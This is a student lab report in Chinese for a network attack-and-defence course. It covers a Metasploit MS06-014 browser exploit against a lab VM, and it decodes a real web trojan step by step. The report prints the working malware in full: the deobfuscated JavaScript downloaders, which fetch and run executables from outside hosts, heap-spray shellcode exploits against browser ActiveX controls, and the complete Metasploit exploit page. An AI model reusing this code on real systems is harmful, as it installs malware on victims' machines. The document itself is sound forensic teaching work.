20253919 2025-2026-2 《网络攻防实践》第11周作业

一、实践内容

本次包含三项网络安全实操任务：

  • Web 浏览器渗透攻击：借助 Metasploit 的 MS06-014 模块配置载荷与参数生成恶意网页木马，靶机浏览器访问该 URL 触发攻击，攻击机通过建立的远程会话远程操控靶机执行命令。
  • 网页木马取证分析：从 start.html 逐级获取后续文件地址，对地址做小写 32 位 MD5 哈希，按哈希值下载对应文件；网页 / 脚本持续解密，二进制文件开展反汇编或动态调试，直至全部文件分析完毕。
  • 浏览器渗透攻防对抗：攻击方构造两款不同浏览器漏洞的混淆渗透代码，打包为钓鱼链接通过邮件发送；防守方提取链接、解混淆还原原始攻击代码，定位目标浏览器及对应漏洞。

二、实践过程

kali ip地址为 192.168.200.21
win2k地址为192.168.200.9
image
image

任务一：web浏览器渗透攻击

  1. 使用Metasploit中的MS06-014渗透攻击模块
    msfconsole
    image
    search MS06-014
    image
  2. 设置payload
    set payload windows/shell/reverse_tcp
    image
  3. 设置服务器地址和URL参数
    set LHOST 192.168.200.21
    image
  4. 发动攻击,生成url：http://192.168.200.21:8080/U3olD0qa
    exploit
    image
  5. 在靶机打开网址
    image
  6. 进一步发动攻击，验证已经成功
sessions -i 1
ipconfig

image

任务二：取证分析实践—网页木马攻击场景分析

  1. 访问start.html，找到new09.htm的地址
    image
  2. 打开new09.htm文件后，发现页面内有两处外部网络链接，http://aa.18dd.net/aa/kl.htm和http://js.users.51.la/1299644.js
  3. 使用在线工具查询md5值
    md5(http://aa.18dd.net/aa/kl.htm)=7F60672DCD6B5E90B6772545EE219BD3
    md5(http://js.users.51.la/1299644.js)=23180A42A2FF1192150231B44FFDF3D
  4. 在http://192.168.68.253/scom/hashed/找到两个文件
    image
  5. 用记事本打开 23180A42A2FF1192150231B44FFDF3D，发现没有价值
    image
  6. 用记事本打开7F60672DCD6B5E90B6772545EE219BD3，找到密钥为\x73\x63\x72\x69\x70\x74,转义并得到密钥为script
    image
  7. 使用在线工具解密，密钥为script，并将十六进制进行转义，再交付大模型整理格式，得到javascript代码
function init() {
    document.write();
}
window.onload = init;

if (document.cookie.indexOf('OK') == -1) {
    try {
        var e;
        var ado = document.createElement("object");
        ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
        var as = ado.createobject("Adodb.Stream", "");
    } catch (e) {} finally {
        var expires = new Date();
        expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);
        document.cookie = 'ce=windowsxp;path=/;expires=' + expires.toGMTString();
        
        if (e != "[object Error]") {
            document.write("<script src=http://aa.18dd.net/aa/1.js><\/script>");
        } else {
            try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}catch(f){}finally{if(f!="[object Error]")document.write("<script src=http://aa.18dd.net/aa/b.js><\/script>");}
            try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}catch(g){}finally{if(g!="[object Error]")document.write("<script src=http://aa.18dd.net/aa/pps.js><\/script>");}
            try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}catch(h){}finally{if(h!="[object Error]")obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0);}
        }
    }
}
  1. 下面对以上包含的 http://aa.18dd.net/aa/1.js ， http://aa.18dd.net/aa/b.js ， http://aa.18dd.net/aa/pps.js ，bd.exe分别进行分析

http://aa.18dd.net/aa/1.js

① 将5d7e9058a857aa2abee820d5473c5fa4采用上述相同的方式，转化为javascript代码

var url = "http://down.18dd.net/bb/014.exe";
try {
    var xml = ado.CreateObject("Microsoft.XMLHTTP", "");
    xml.Open("GET", url, 0);
    xml.Send();
    as.type = 1;
    as.open();
    as.write(xml.responseBody);
    path = "..\\ntuser.com";
    as.savetofile(path, 2);
    as.close();
    var shell = ado.createobject("Shell.Application", "");
    shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0);
} catch (e) {}

② 使用在线工具计算md5(http://down.18dd.net/bb/014.exe) = ca4e4a1730b0f69a9b94393d9443b979

http://aa.18dd.net/aa/b.js

① 与上述操作不同的地方在于，该网址需要事先进行packed解码，转化为javascript代码为

var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace) {
    bigblock += bigblock;
}
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);

while (block.length + slackspace < 0x40000) {
    block = block + block + fillblock;
}

memory = new Array();
for (x = 0; x < 300; x++) {
    memory[x] = block + shellcode;
}

var buffer = '';
while (buffer.length < 4068) {
    buffer += "\x0a\x0a\x0a\x0a";
}
storm.rawParse(buffer);

② 在线工具计算md5(http://down.18dd.net/bb/bf.exe) = 268cbd59fbed235f6cf6b41b92b03f8e

http://aa.18dd.net/aa/pps.js

①与前两个操作不同在于，该网址最后需将八进制转化为javascript代码

var shellcode = unescape("%uf3e9%u0000") +
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000";

var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace)
    bigblock += bigblock;

var fillblock = bigblock.substring(0, slackspace);
var block = bigblock.substring(0, bigblock.length - slackspace);

while (block.length + slackspace < 0x40000)
    block = block + block + fillblock;

var memory = new Array();
for (x = 0; x < 300; x++)
    memory[x] = block + shellcode;

var buffer = '';
while (buffer.length < 4068)
    buffer += "\x0a\x0a\x0a\x0a";

storm.rawParse(buffer);

②在线工具计算md5(http://down.18dd.net/bb/pps.exe) = ff59b3b8961f502289c1b4df8c37e2a4
9. 将四个文件，再次计算md5值，发现他们都相同，均为1290ecd734d68d52318ea9016dc6fe63，说明是同一个文件
image
10. 使用IDA反汇编pps.exe，发现其下载了很多乱七八糟的文件
image

任务三：攻防对抗实践—web浏览器渗透攻击攻防

  1. 同任务一，使用kali发动攻击，url为http://192.168.200.21:8080/xtL778t4DGspx
    image
  2. 在靶机访问url
    image
  3. 还原其源文件
    image
<html>
<head>
<title></title>
<script language="javascript">
function SHAKsfxxNPhulDqezNVsLQwZ(o, n) {
    var r = null;
    try {
        eval("r=o.CreateObject(n)");
    } catch(e) {}

    if (!r) {
        try {
            eval("r=o.CreateObject(n,'')");
        } catch(e) {}
    }

    if (!r) {
        try {
            eval("r=o.CreateObject(n,'','')");
        } catch(e) {}
    }

    if (!r) {
        try {
            eval("r=o.GetObject('',n)");
        } catch(e) {}
    }

    if (!r) {
        try {
            eval("r=o.GetObject(n,'')");
        } catch(e) {}
    }

    if (!r) {
        try {
            eval("r=o.GetObject(n)");
        } catch(e) {}
    }

    return r;
}

function vRzeK(a) {
    var s = SHAKsfxxNPhulDqezNVsLQwZ(a, "WScript.Shell");
    var o = SHAKsfxxNPhulDqezNVsLQwZ(a, "ADODB.Stream");
    var e = s.Environment("Process");
    var url = document.location + '/payload';
    var xml = null;
    var bin = e.Item("TEMP") + "\\MlKABhVEESoVJOPfrwqbYZBvHV.exe";

    try {
        xml = new XMLHttpRequest();
    } catch(e) {
        try {
            xml = new ActiveXObject("Microsoft.XMLHTTP");
        } catch(e) {
            xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
        }
    }

    if (!xml) {
        return 0;
    }

    xml.open("GET", url, false);
    xml.send(null);
    var dat = xml.responseBody;

    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(dat);
    o.SaveToFile(bin, 2);

    s.Run(bin, 0);
}

function RKVaZoJzMOXxvdPQFxGsVqlDr() {
    var i = 0;
    var t = new Array(
        "{BD96C556-65A3-11D0-983A-00C04FC29E36}",
        "{BD96C556-65A3-11D0-983A-00C04FC29E30}",
        "{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}",
        "{6e32070a-76d4-4ee6-879c-dc1fa91d2fc3}",
        "{64145112-B978-451D-A0D8-FCFDF33E833C}",
        "{067E9CF2-3E09-F4C2-43C8-B0766}",
        "{639F7225-1B2D-48A9-A109-073DB21C847B}",
        "{BA018599-DB22-4f98-83B4-A210766}",
        "{D0C07D56-7C69-43F1-B4A0-25F5A11FA19}",
        "{E8CCC-DDFF-CA28-496b-B050-6C07C962476B}",
        "{AB9BCE-DDE7E1-9322-D4A210617116}",
        "{0006F033-0000-0000-C000-000000000046}",
        "{0006F03A-0000-0000-C000-000000000046}",
        null
    );

    while (t[i]) {
        var a = null;
        if (t[i].substring(0,1) == '{') {
            a = document.createElement("object");
            a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length-1));
        } else {
            try {
                a = new ActiveXObject(t[i]);
            } catch(e) {}
        }

        if (a) {
            try {
                var b = SHAKsfxxNPhulDqezNVsLQwZ(a, "WScript.Shell");
                if (b) {
                    vRzeK(a);
                    return 0;
                }
            } catch(e) {}
        }
        i++;
    }
}
</script>
</head>
<body onload='RKVaZoJzMOXxvdPQFxGsVqlDr()'>
    FkQzhzH
</body>
</html>

存放漏洞 CLSID 数组，并循环创建带 clsid 属性的 object 控件的代码，是识别 MS06-014 漏洞利用的标志性代码。其中{BD96C556-65A3-11D0-983A-00C04FC29E36}、{BD96C556-65A3-11D0-983A-00C04FC29E30}是 MS06-014 最经典的两个漏洞控件 CLSID。

三、学习中遇到的问题及解决

  • 问题1：无法计算bd.exe的md5值
  • 问题1解决方案：找准正确的文件地址

四、实践总结

这次三项实操练完收获特别实在。先是用 MS06-014 做浏览器渗透，亲手搭木马拿靶机权限，直观感受到老漏洞破坏力有多强。接着逆向分析网页木马，算 MD5、解密脚本、调试二进制，一步步拆解恶意代码，才明白取证要耐心梳理每一层文件。我清楚了网页攻击的常见套路，也学会快速识别恶意脚本漏洞，实操让书本里的攻防知识变得好懂多了

posted @ 2026-06-15 11:20  晓月12  阅读(9)  评论(0)    收藏  举报